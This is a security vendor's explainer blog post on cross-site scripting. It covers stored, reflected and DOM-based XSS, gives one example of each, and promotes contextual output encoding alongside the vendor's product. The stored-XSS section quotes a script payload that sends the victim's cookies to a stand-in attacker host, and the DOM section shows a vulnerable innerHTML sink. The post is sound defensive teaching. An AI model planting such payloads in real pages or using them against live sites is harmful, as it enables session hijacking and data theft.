Securing 2M+ accounts & $15B+ in assets, protected & secure·B5 Secure™ — per data-element authorization for .NET platforms

Understand Cross-Site Scripting (XSS) by examples

Never Trust Thinking · Web security

Understand cross-site scripting (XSS) by examples.

XSS is the vulnerability that turns your own page into the attacker’s delivery mechanism. Here is what it is, the three shapes it takes, and three concrete examples — followed by the one principle that defeats all of them.

StoredReflectedDOM-based

Cross-site scripting is an injection flaw: an attacker gets the browser to execute script that the page’s author never wrote. Because that script runs in your origin, it can do anything your own JavaScript can — read cookies, call your APIs with the victim’s session, rewrite the page, or exfiltrate whatever the user types next. XSS has lived on the OWASP Top 10 for two decades for one reason: every application that reflects user input into a page is a candidate, and most do.

1. Stored XSS — the payload that waits

A comment, a profile bio, a support ticket — any field whose value is saved and later shown to other users. If the application stores <script>fetch('https://evil.tld/c?'+document.cookie)</script> and renders it back unescaped, the script runs for every visitor who loads the page. Stored XSS is the most dangerous variant because it is persistent and self-propagating: the attacker injects once and every viewer is a victim.

2. Reflected XSS — the payload in the link

Here the input is echoed straight back in the response — classically a search box that prints “No results for <your query>.” If the query is not encoded, a crafted URL such as /search?q=<script>…</script> turns a single click into code execution. The payload lives in the request, so reflected XSS is delivered by phishing: a link in an email or a chat, trusted because it points at your real domain.

3. DOM-based XSS — the server never sees it

Modern apps build the page in the browser, and the sink can be entirely client-side. A script that does el.innerHTML = location.hash.slice(1) will execute markup placed after the # in the URL — which the server never receives and your WAF never inspects. DOM XSS moves the whole problem into JavaScript, where the dangerous sinks are innerHTML, document.write, eval and unsafe framework bindings.

The principle that ends all three

Notice what every example shares: untrusted input reaches an interpreter — the HTML parser or the JS engine — without ever being treated as data. The fix is not a blocklist of “bad” strings; attackers have decades of encodings to defeat that. The fix is to contextually encode on output and to validate on input, so a value destined for HTML is rendered as text, not parsed as markup. That is exactly the posture B5 Secure takes by default: untrusted input is never trusted to be safe, and the framework encodes it for the context it lands in. The companion piece, defending against XSS in ASP.NET, turns this principle into concrete .NET code.

Stop trusting your own page.

B5 Secure treats every input as hostile until proven otherwise — the same fail-closed posture, applied from the request signature down to the rendered byte.

Explore Never Trust →
Scroll to Top